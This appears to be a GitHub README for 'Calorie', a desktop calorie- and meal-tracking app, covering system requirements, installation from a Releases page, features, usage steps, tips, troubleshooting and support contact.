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🍽️ Calorie - Your Guide to Healthy Eating

🚀 Getting Started

Welcome to the Calorie app! This application helps you track your food intake and manage your dietary goals. Whether you’re looking to lose weight, maintain a healthy lifestyle, or simply keep an eye on what you eat, Calorie is here to assist you.

📦 System Requirements

Before you begin, ensure your computer meets the following requirements:

• Operating System: Windows 10 or higher, macOS 10.12 or higher, or a recent Linux distribution.
• Memory: 4GB RAM minimum, 8GB recommended.
• Storage: At least 100MB of free space.
• Internet: Required for downloading and accessing features.

💻 Download & Install

To download the Calorie app, please visit the following link:

Download Calorie

Step-by-Step Installation

1. Click the link above to open the Releases page.
2. Choose the latest version of Calorie from the list.
3. Download the .exe file for Windows, .dmg for macOS, or the .tar.gz file for Linux.
4. Open the downloaded file and follow the installation instructions.

If you prefer visual guidelines, here’s a brief outline of what you can expect:

• For Windows: Run the .exe file, follow the prompts, and the app will install automatically.
• For macOS: Open the .dmg file, drag the Calorie app to your Applications folder.
• For Linux: Extract the .tar.gz file, and run the Calorie executable from the terminal.

🚀 Features

The Calorie app offers various features to make tracking your dietary habits straightforward:

• Food Diary: Log your meals with ease. Search for your favorite foods and enter serving sizes.
• Nutritional Information: Get detailed information on calories, fats, carbohydrates, and more.
• Goal Setting: Set personal dietary goals and track your progress over time.
• Reports: Generate weekly or monthly reports to visualize your eating habits.
• Recipe Integration: Add custom recipes and calculate their nutritional value.

⚙️ Usage

After installing the app, follow these steps to start using Calorie:

1. Open the Calorie app from your applications menu or desktop shortcut.
2. Create an account or log in if you already have one.
3. Begin logging your meals by selecting the “Food Diary” option.
4. Use the goal-setting feature to define your dietary objectives.
5. Explore reports to understand your eating patterns better.

🌟 Tips for Effective Tracking

• Log your meals right after you eat to ensure accurate tracking.
• Review your nutritional reports regularly to make informed dietary choices.
• Adjust your goals as needed based on your progress.

🛠️ Troubleshooting

If you encounter any issues while downloading or using the app, consider these tips:

• Ensure your internet connection is stable when downloading.
• Check if your system meets the minimum requirements.
• Restart the application if it does not open correctly.
• Consult the built-in help section for guidance on common topics.

You can also find solutions to common issues and frequently asked questions in the “Issues” section of this repository.

📞 Support

For further help, reach out via GitHub’s issue tracker or contact our support team at support@calorieapp.com. We aim to respond to all inquiries within 48 hours.

Explore the Calorie app and take the first step towards a healthier you! Remember to visit the Releases page for updates and new features.

Visit the Releases Page for Download